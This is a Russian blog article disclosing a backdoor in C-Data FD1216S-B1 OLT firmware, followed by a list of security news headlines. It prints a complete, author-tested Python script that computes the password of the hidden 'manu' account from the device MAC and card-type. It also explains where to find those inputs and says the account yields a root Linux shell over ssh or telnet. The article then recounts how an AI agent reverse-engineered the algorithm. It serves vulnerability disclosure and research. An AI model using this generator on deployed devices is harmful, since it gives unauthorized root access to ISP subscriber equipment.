В прошлых двух частях (1, 2) было рассказано про найденные с помощью ИИ уязвимости, бэкдоры и недокументированные возможности для свитчей SNR и Huawei. В этой части пойдёт речь о бэкдоре в оборудовании OLT C-Data - операторском оборудовании для подключения абонентов по технологии EPON/GPON. В начале статьи будет описан сам бэкдор, а затем рассказано об особенностях использования ИИ для его поиска. Читать далее
В прошлых двух частях (1, 2) было рассказано про найденные с помощью ИИ уязвимости, бэкдоры и недокументированные возможности для свитчей SNR и Huawei. В этой части пойдёт речь о бэкдоре в оборудовании OLT C-Data - операторском оборудовании для подключения абонентов по технологии EPON/GPON. В начале статьи будет описан сам бэкдор, а затем рассказано об особенностях использования ИИ для его поиска.
Суть бэкдора: у оборудования C-Data FD1216S-B1 (CSM X001, HW version V1.1, FW version V1.6.0_250227) есть недокументированный пользователь manu. Его пароль зависит от MAC-адреса устройства и вычисляется как f(mac, card_type, seed), где seed - константа в коде. Схематично вычисление пароля выглядит следующим образом:
seed = 0xd38b6b35
K = xor_func(mac, card_type, seed) # 24 байта
password = HMAC-SHA1_cdata(key=K, msg=mac)[:4]
Из интересного здесь то, что sha1_cdata это почти стандартный sha1, у которого изменен только IV (initialization vector).
Полный код генерации пароля (сгенерирован ИИ, работоспособность проверена автором):
manu_password.py#!/usr/bin/env python3
"""Минимальный расчёт пароля manu (CDATA OLT): пароль = первые 4 байта
HMAC-SHA1 (key=out[24], msg=mac) в hex. SHA1 прошивочный: начальный IV задан
в нестандартном порядке регистров [h0,h3,h2,h4,h1] вместо обычного [h0..h4].
Пример: python3 manu_password.py --card-type 0x01060702 E0:67:B3:61:40:F5
"""
import argparse
SEED = bytes([0x35, 0x6B, 0x8B, 0xD3]) # 0xd38b6b35 (LE)
STATE_ORDER = [0, 3, 2, 4, 1] # h = [A, D, C, E, B]
def sha1_fw(data: bytes) -> bytes:
ml = len(data) * 8
msg = bytearray(data) + b'\x80'
while len(msg) % 64 != 56:
msg.append(0)
msg += ml.to_bytes(8, 'big')
std = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0]
h = [std[i] for i in STATE_ORDER]
for off in range(0, len(msg), 64):
block = msg[off:off + 64]
w = [int.from_bytes(block[i * 4:i * 4 + 4], 'big') for i in range(16)]
for i in range(16, 80):
v = w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]
w.append(((v << 1) | (v >> 31)) & 0xFFFFFFFF)
a, b, c, d, e = h
for i in range(80):
if i < 20:
f = (b & c) | (~b & d); k = 0x5A827999
elif i < 40:
f = b ^ c ^ d; k = 0x6ED9EBA1
elif i < 60:
f = (b & c) | (b & d) | (c & d); k = 0x8F1BBCDC
else:
f = b ^ c ^ d; k = 0xCA62C1D6
t = (((a << 5) | (a >> 27)) + f + e + k + w[i]) & 0xFFFFFFFF
e, d, c, b, a = d, c, ((b << 30) | (b >> 2)) & 0xFFFFFFFF, a, t
h = [(x + y) & 0xFFFFFFFF for x, y in zip(h, [a, b, c, d, e])]
return b''.join(x.to_bytes(4, 'big') for x in h)
def hmac_fw(key: bytes, data: bytes) -> bytes:
key = key + b'\x00' * (64 - len(key))
return sha1_fw(bytes(x ^ 0x5c for x in key) + sha1_fw(bytes(x ^ 0x36 for x in key) + data))
def main() -> None:
p = argparse.ArgumentParser(description='Пароль manu по card-type и MAC')
p.add_argument('--card-type', type=lambda x: int(x, 0), required=True)
p.add_argument('mac')
a = p.parse_args()
mac = bytes.fromhex(a.mac.replace(':', '').replace('-', ''))
card = a.card_type.to_bytes(4, 'big')
out = bytes([mac[j] ^ card[i] ^ SEED[i] for i in range(4) for j in range(6)])
print(hmac_fw(out, mac)[:4].hex())
if __name__ == '__main__':
main()
Примечательно, что стандартные высокоуровневые API SHA-1 в Python, Go и Rust не позволяют задать произвольный IV. OpenSSL имеет функцию SHA1_Transform и с её помощью можно реализовать описанный выше алгоритм без реализации функции sha1_fw, но этот низкоуровневый API объявлен deprecated в 3.0.
Значение card-type можно получить из вывода команды show hwinfo в пользовательском CLI (взять первые 8 символов и добавить префикс 0x при передаче в скрипт manu_password.py). Для C-Data FD1216S-B1 X001 это значение равно 0x01060702 (для других OEM-кастомизаций той же модели оно может отличаться - например, для X000 равно 0x01060701). Значение MAC-адреса можно посмотреть через команду show device.
При входе пользователем manu в CLI в enable-режиме появляется команда manufacture. Внутри этого режима доступны start-shell (доступ к root-шеллу Linux) и bcm-shell (Broadcom SoC SDK). Также появляется ряд других команд, например debug и encrypt-dbg в enable-режиме CLI.
Для того чтобы вычислить пароль пользователя manu нужно знать MAC-адрес и card-type.
MAC-адрес, который используется для вычисления пароля совпадает с MAC-адресом outband-интерфейса. MAC-адрес inband-интерфейса отличается на 1 (на OLT FD1216S-B1 X001). Узнать его можно несколькими способами:
посмотреть на наклейке на самой OLT;
посмотреть через web-интерфейс (в том числе с правами пользователя группы guest);
посмотреть через CLI (например, через команду show device).
Для того чтобы узнать значение card-type нужно иметь доступ хотя бы на одно устройство такой же модели или извлечь это значение из прошивки путём реверс-инжиниринга. Количество этих значений сильно ограничено (по моей оценке, не более 100).
Подключаться пользователем manu можно через ssh, telnet и console-порт (автором проверены первые два варианта). Вход через web-интерфейс для пользователя manu заблокирован.
Анализ ряда некоторых других прошивок OLT C-Data указывает на то, что данный backdoor присутствует и на других моделях/версиях ПО, но настоящая проверка на OLT других моделей C-Data не производилась.
Особенности использования ИИ при поиске бэкдораДля поиска бэкдора был использован подход, описанный в 1, использовался ZCode/GLM-5.2(max). У меня не было файла прошивки или дампа флеш-карты для FD1216S-B1 X001, поэтому пришлось анализировать максимально похожую, которую удалось найти в публичном доступе (здесь) (FD1216S-B1 X000). Что именно означает CSM X000 и X001 автору неизвестно, но предположительно это идентификатор OEM-кастомизации прошивки.
ИИ сразу же нашел скрытого пользователя manu, сразу же восстановил алгоритм генерации пароля, но пароль не подходил. Первая проблема была довольно очевидной: card-type у версии X000 отличался от X001. В коде скрипта генерации появилась константа 0x01060701; спросив у ИИ, как её посмотреть в CLI, стало понятно, что в опытном образце card-type равен 0x01060702, а не 0x01060701, как в исследуемой прошивке. Вторая проблема была несколько интереснее - ИИ пытался использовать стандартный hmac-sha1 вместо модифицированного варианта, т.е. идея минимальной модификации стандартного алгоритма сбила ИИ-агента. Далее, после сообщения ИИ, что пароль не подходит, было несколько попыток поиграться с big-endian/little-endian для входных и выходных данных. Это тоже не помогло. В конце концов ИИ-агент сдался и стал использовать angr symbolic execution и qemu, чтобы проверить, что его функции работают так же, как функции в прошивке. В результате он понял, что sha1 модифицированный (точнее, используется нестандартный IV). Можно было и не восстанавливать алгоритм на python - достаточно было обернуть несколько дизассемблированных функций в код на C/asm. Но это не очень удобно: в OLT используется arm32, и исполнять такие бинарники на современных ПК - нетривиальная задача. Подход был бы более системный, если бы сначала сделать генератор паролей на базе дизассемблированных функций (сделать обёртку над asm-функциями), проверить пароль на реальному устройстве и потом уже создавать скрипт на python или другом языке. Однако, эти указания не были даны ИИ-агенту, чтобы как можно меньше вмешиваться в его работу и наблюдать за тем как он справится (или не справится) самостоятельно.
В этот раз, в отличие от поиска Linux root shell на свитче huawei, ИИ-агент справился практически самостоятельно: автор статьи лишь просил “подумать ещё” и “попробовать другие варианты”. Возможно, это и не потребовалось бы при наличии доступа к оборудованию, который предоставлен не был.
P.S. В ходе анализа прошивки было найдено несколько кандидатов на уязвимости (или бэкдоры?), одно из которых проверено и подтверждено. В рамках этой статьи они опубликованы не будут, поскольку вендору ещё не была предоставлена возможность их устранить.
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | В роутерах Zbtlink нашли бэкдор. Производитель утверждает, что это инструмент сервисного обслуживания | 0 | 6.7 | 07-08-2026 |
| 2 | В Австралии ИИ-ассистент взломал сайт фитнес-центра, чтобы записать своего пользователя | 0 | 16.3 | 10-08-2026 |
| 3 | РТК-ЦОД запускает программу багбаунти на платформе Standoff Bug Bounty | 0 | 26.37 | 23-07-2026 |
| 4 | Как агент сам откроет дверь хакеру? Разбираю три реальных пробоя AI-агентов и почему обычный ред-тиминг их не найдёт | 5 | 8 | 28-06-2026 |
| 5 | Сбежавший из тестовой среды ИИ OpenAI взломал не только Hugging Face | 0 | 8.04 | 30-07-2026 |
| 6 | Странные машины: как хакеры собирают процессор из данных | 0 | 7 | 16-07-2026 |
| 7 | „Die KI ist ausgebrochen“: GData zur ungewollten Hackerattacke durch Open AI | 0 | 10.38 | 24-07-2026 |
| 8 | Странные машины: как хакеры собирают процессор из данных | 0 | 7.2 | 16-07-2026 |
| 9 | Может ли AI-агент выполнять задачи сетевого инженера. Сбрасываем пароль роутера Cisco | 2 | 6 | 09-07-2026 |